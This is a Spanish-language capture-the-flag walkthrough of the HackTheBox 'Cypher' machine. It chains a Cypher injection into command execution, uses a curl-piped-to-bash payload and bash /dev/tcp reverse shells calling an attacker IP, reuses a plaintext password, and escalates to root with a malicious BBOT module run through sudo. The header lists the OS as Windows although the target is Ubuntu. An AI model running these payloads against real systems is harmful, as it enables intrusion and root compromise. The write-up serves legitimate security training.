Cypher – HackTheBox Link to heading
- OS: Windows
- Difficulty : Medium
- Platform: HackTheBox
Resumen Link to heading
“Cypher” es una máquina de dificultad Media de la plataforma HackTheBox
. La máquina víctima está corriendo un servidor web acerca de mapeo de superficies de ataques para organizaciones. Encontramos que la página tiene un panel de login vulnerable a una inyección para Cypher
, un lenguaje de query. Además, inspeccionando por directorios ocultos encontramos un archivo .jar
el cual filtra cómo funciona el backend, mostrando un parámetro inyectable el cual puede ser utilizado para una inyección de comandos a través del panel de login, ganando así acceso al sistema. Una vez dentro, encontramos credenciales para un segundo usuario. Este segundo usuario puede correr BBOT
(un bot usado para reconocer vulnerabilidades) con privilegios. Creamos un módulo malicioso para BBOT
el cual nos permite ganar acceso como el usuario root
, comprometiendo así el sistema.
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap
, el cual muestra sólo 2 puertos TCP
abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.217.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 01:07 -03
Initiating SYN Stealth Scan at 01:07
Scanning 10.129.217.223 [65535 ports]
Discovered open port 80/tcp on 10.129.217.223
Discovered open port 22/tcp on 10.129.217.223
Completed SYN Stealth Scan at 01:08, 16.32s elapsed (65535 total ports)
Nmap scan report for 10.129.217.223
Host is up, received user-set (0.16s latency).
Scanned at 2025-03-02 01:07:45 -03 for 16s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.54 seconds
Raw packets sent: 80015 (3.521MB) | Rcvd: 79731 (3.189MB)
Aplicamos algunos scripts de reconocimiento sobre estos puertos utilizando la flag -sVC
:
❯ sudo nmap -sVC -p22,80 10.129.217.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 01:11 -03
Nmap scan report for 10.129.217.223
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds
Del output para el protocolo HTTP
podemos ver que se nos redirige a un sitio: http://cypher.htb
.
Agregamos este dominio a nuestro archivo /etc/hosts
junto con la IP de la máquina víctima ejecutando en una terminal:
❯ echo '10.129.217.223 cypher.htb' | sudo tee -a /etc/hosts
Visitando así http://cypher.htb
en un navegador de internet muestra:
El sitio parece mostrar gráficos utilizados para mapear superficies de ataques a organizaciones, algo bastante similar a lo que se muestra en herramientas como Obsidian
o Bloodhound
para ver relaciones entre conceptos.
Esto se puede corroborar clickeando en About
en la parte superior de la barra http://cypher.htb/about
muestra sobre qué trata este sitio:
Clickeando en Try our free demo
en la página principal simplemente redirige a http://cypher.htb/login
, un panel de login:
Pero las típicas credenciales admin:admin
o root:root
no funcionan.
Para revisar qué es lo que ocurre cuando enviamos credenciales es que interceptamos la petición enviada con Burpsuite
. Vamos a http://cypher.htb/login
e interceptamos la petición enviada al intentar loguearnos con un usuario y contraseña random. Interceptamos así la siguiente petición por POST
:
POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://cypher.htb
DNT: 1
Connection: close
Referer: http://cypher.htb/login
{"username":"testuser","password":"testpassword"}
El sitio envía las credenciales a través de JSON
, lo cual en principio indicaría que podría ser una base de datos NoSQL
.
Buscando por Cypher injection
en Google nos lleva a esta página. Allí, se habla sobre Cypher
:
Un breve paréntesis, ¿qué es Cypher
? En mi caso lo conocía porque sé que es lo que usa Bloodhound
para organizar y mapear la información. De todas formas, un pequeño resumen de Cypher
sería:
Cypher
es el nombre corto de (Open)Cypher Query Language
.- Es el lenguaje de peticiones de
Neo4j
el cual te permite extraer datos de los grafos. Es comoSQL
para bases de datos de grafos. - Fue originalmente diseñado para ser usado con
Neo4j
, pero se abrió al mundo a través del proyectotheopenCypher
. Ahora es usado por otras bases de datos incluyendoRedisGraph
,Spark
,Amazon Neptune
ySAP HANA Graph
; entre otros. - Documentación: Cypher Query Language Reference, Version 9
En este caso el nombre de la máquina víctima (Cypher
) indica que probablemente deberíamos intentar por el lado de inyecciones para Cypher
u otras vulnerabilidades asociadas a este lenguaje. Basados en la página previamente mencionada podemos intentar inyecciones para Cypher
a través de los caracteres:
'
"
'})
Probando con un sólo caracter '
(tratando de loguearnos como usuario test'
y cualquier contraseña) obtenemos un mensaje de error en la página web:
Si hacemos lo mismo, pero a través de Burpsuite
enviando la petición:
POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://cypher.htb
DNT: 1
Connection: close
Referer: http://cypher.htb/login
{"username":"testuser'","password":"testpassword"}
Obtenemos como respuesta del servidor:
HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 02 Mar 2025 04:37:10 GMT
Content-Length: 3472
Connection: close
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError}
<SNIP>
El error claramente dice que está usando una librería de Neo4j
para Python
; además de un error en el archivo app.py
lo cual claramente indica que este servidor web puede estar corriendo sobre Flask
. Dado que obtuvimos un error, quizás seamos capaces de inyectar parámetros.
Buscando por directorios ocultos a través de un Brute Force Directory Listing
con la herramienta Gobuster
retorna:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://cypher.htb --no-error -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 200) [Size: 4986]
/api (Status: 307) [Size: 0] [--> /api/docs]
/demo (Status: 307) [Size: 0] [--> /login]
/index (Status: 200) [Size: 4562]
/index.html (Status: 200) [Size: 4562]
/login (Status: 200) [Size: 3671]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================
Obtenemos un directorio testing
el cual no habíamos visto antes.
Revisando su contenido con cURL
junto con html2text
en una terminal, retorna:
❯ curl -s http://cypher.htb/testing/ | html2text
****** Index of /testing/ ******
===============================================================================
../
custom-apoc-extension-1.0-SNAPSHOT.jar 17-Feb-2025 11:49
6556
===============================================================================
Tenemos un archivo Java
llamado custom-apoc-extension-1.0-SNAPSHOT.jar
.
Descargamos este archivo con wget
:
❯ wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar -q
y revisamos su contenido con la herramienta Java Decompiler
, también conocida como jd-gui
(fácilmente instalable con sudo apt install jd-gui
):
❯ jd-gui &> /dev/null & disown
Abrimos y decompilamos el archivo .jar
con jd-gui
. Eventualmente, encontramos una clase CustomFunctions.class
con el contenido:
public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
url = "https://" + url;
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
System.out.println("Command: " + Arrays.toString((Object[])command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
String line;
Podemos ver un procedure custom.getUrlStatusCode
el cual obtiene una url y luego es ejecutada con /bin/sh
. Aquella línea presenta una potencial inyección de comandos ya que los parámetros dados para aquel “procedure” no está sanitizado.
Luego de buscar por más notas de inyecciones para Cypher
, encontramos estas notas. Jugando con ellas, además del parámetro inyectable getUrlStatusCude
, una de ellas parece funcionar. Primero, empezamos un servidor temporal HTTP
con Python
por el puerto 8000
:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Acto seguido, en el panel de login del servidor (http://cypher.htb/login
) intentamos una inyección en el campo username
con contenido:
test' return h.value as a UNION CALL custom.getUrlStatusCode("test.com;wget http://10.10.16.5:8000/test;#") YIELD statusCode AS a RETURN a;//
Y cualquier contraseña.
Obtenemos una petición GET
desde la IP de la máquina víctima, lo cual indica que la inyección funciona:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.217.223 - - [02/Mar/2025 02:01:37] code 404, message File not found
10.129.217.223 - - [02/Mar/2025 02:01:37] "GET /test HTTP/1.1" 404 -
Para obtener una reverse shell, creamos un simple script de Bash
cuyo contenido es:
#!bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
Donde 10.10.16.5
es nuestra IP de atacantes y 443
es el puerto en el cual nos pondremos en escucha con netcat
. Guardamos este archivo en nuestrar máquina de atacantes como rev.sh
.
No olvidar asignarle permisos de ejecución al archivo creado:
❯ chmod +x rev.sh
Y exponemos aquel archivo a través del servidor HTTP
con Python
a través del puerto 8000
:
❯ ls -la && python3 -m http.server 8000
total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Mar 2 02:11 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Mar 2 01:07 ..
-rwxrwxr-x 1 gunzf0x gunzf0x 62 Mar 2 02:11 rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
En otra terminal, empezamos un listener con netcat
por el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Y en la página web pasámos como username
el payload:
test' return h.value as a UNION CALL custom.getUrlStatusCode("test.com;curl http://10.10.16.5:8000/rev.sh|bash;#") YIELD statusCode AS a RETURN a;//
Dando a su vez cualquier contraseña.
Obtenemos una solicitud en nuestro servidor temporal HTTP
y, luego de ello, una shell en nuestro listener con netcat
como el usuario neo4j
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.217.223] 53714
bash: cannot set terminal process group (1372): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ whoami
whoami
neo4j
Fuera de nuestro usuario, existe otro llamado graphasm
:
neo4j@cypher:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash
Revisando /home/graphasm
para ver si allí está la flag muestra:
neo4j@cypher:/$ ls -la /home/graphasm/
total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root root 4096 Oct 8 17:58 ..
lrwxrwxrwx 1 root root 9 Oct 8 18:06 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 graphasm graphasm 156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct 8 17:58 .cache
-rw-r--r-- 1 graphasm graphasm 807 Mar 31 2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct 8 17:58 .ssh
-rw-r----- 1 root graphasm 33 Mar 2 00:40 user.txt
Existe un archivo bbot_preset.yml
. Revisando este archivo (sobre el cual tenemos privilegios de lectura) tenemos:
neo4j@cypher:/$ cat /home/graphasm/bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
Vemos una nueva contraseña: cU4btyib.20xtCMCXkBmerhK
.
Podemos revisar si esta contraseña es válida para el usuario graphasm
a través del servicio SSH
con la herramienta NetExec
:
❯ nxc ssh 10.129.217.223 -u 'graphasm' -p 'cU4btyib.20xtCMCXkBmerhK'
SSH 10.129.217.223 22 10.129.217.223 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8
SSH 10.129.217.223 22 10.129.217.223 [+] graphasm:cU4btyib.20xtCMCXkBmerhK Linux - Shell access!
Es válida. Tenemos credenciales legítimas para SSH
: graphasm:cU4btyib.20xtCMCXkBmerhK
.
De esta manera, nos logueamos a través de SSH
como el usuario graphasm
:
❯ sshpass -p 'cU4btyib.20xtCMCXkBmerhK' ssh -o stricthostkeychecking=no graphasm@10.129.217.223
Warning: Permanently added '10.129.217.223' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Mar 2 05:26:02 AM UTC 2025
System load: 0.0 Processes: 248
Usage of /: 68.6% of 8.50GB Users logged in: 0
Memory usage: 24% IPv4 address for eth0: 10.129.217.223
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 2 05:26:03 2025 from 10.10.16.5
graphasm@cypher:~$
Podemos extraer la flag de usuario.
Root Link to heading
Revisando qué podemos ejecutar con sudo
muestra:
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
Podemos ejecutar BBOT
como cualquier usuario sin proveer contraseña.
Buscando por BBOT
encontramos su página web y su repositorio de Github:
BEE-bot
is a multipurpose scanner built to automate your Recon, Bug Bounties, and ASM!Lo que podemos ejecutar es en realidad un link simbólico a un script de Python
:
graphasm@cypher:~$ file /usr/local/bin/bbot
/usr/local/bin/bbot: symbolic link to /opt/pipx/venvs/bbot/bin/bbot
graphasm@cypher:~$ file /opt/pipx/venvs/bbot/bin/bbot
/opt/pipx/venvs/bbot/bin/bbot: Python script, ASCII text executable
Podemos leer más información acerca de este bot y sus comandos avanzados. Leyendo, vemos que existe una capacidad de cargar módulos para ejecutar tareas. Una lista disponible de módulos se muestra aquí. Buscamos por cualquiera de estos módulos (por ejemplo, uno llamado hackertarget
) para ver dónde están guardados; para ello usamos el comando find
:
graphasm@cypher:~$ find /opt/pipx/venvs/bbot/ -name "*hackertarget*" 2>/dev/null
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/hackertarget.py
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/__pycache__/hackertarget.cpython-312.pyc
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/test/test_step_2/module_tests/test_module_hackertarget.py
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/test/test_step_2/module_tests/__pycache__/test_module_hackertarget.cpython-312.pyc
Obtenemos un directorio:
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/
Pero no podemos escribir en este directorio:
graphasm@cypher:~$ ls -ld /opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/
drwxr-xr-x 8 root root 4096 Oct 8 18:10 /opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules
Por otro lado, podríamos tratar de crear nuestro propio módulo, pero malicioso. Para ello podemos revisar la documentación oficial de BBOT. Lo que queremos es crear un módulo el cual ejecuta comandos a nivel de sistema. Para ello primero, creamos un archivo de configuración .yml
con el contenido:
module_dirs:
- /tmp/modules
Y lo guardamos como /tmp/conf.yml
(notar que es una ruta absoluta).
Luego, creamos el directorio el cual contendrá el módulo malicioso, que en este caso llamaremos modules
dentro del directorio /tmp
:
graphasm@cypher:~$ mkdir /tmp/modules
Para crear un módulo, nos basamos en sl siguiente código de ejemplo dado en la documentación. Podemos modificar levemente aquel código para que éste ejecute un comando de sistema y nos envíe así otra reverse shell:
from bbot.modules.base import BaseModule
import os
class getrevshell(BaseModule):
watched_events = ["DNS_NAME"]
produced_events = ["GETREVSHELL"]
flags = ["passive", "safe"]
meta = {"description": "Revshell"}
options = {"api_key": ""}
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True
async def setup(self):
os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.5/443 0>&1'")
self.api_key = self.config.get("api_key")
return True
async def handle_event(self, event):
pass
Donde 10.10.16.5
es nuestra IP de atacantes y 443
el puerto en el cual nos pondremos en escucha con netcat
. Guardamos este módulo en la ruta absoluta /tmp/modules/getrevshell.py
, es decir, dentro del módulo /tmp/modules
que habíamos creado antes.
Finalmente, no olvidando empezar un listener con netcat
por el puerto 443
, ejecutamos BBOT
importando el archivo de configuración .yml
con la flag -p
y el módulo malicioso que hemos creado con la flag -m
:
graphasm@cypher:~$ sudo /usr/local/bin/bbot -p /tmp/conf.yml -m getrevshell
Obtenemos una shell como el usuario root
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.129.217.223] 50006
root@cypher:/home/graphasm# whoami
whoami
root
GG. Podemos leer la flag del usuario root
en el directorio /root
.
~Happy Hacking.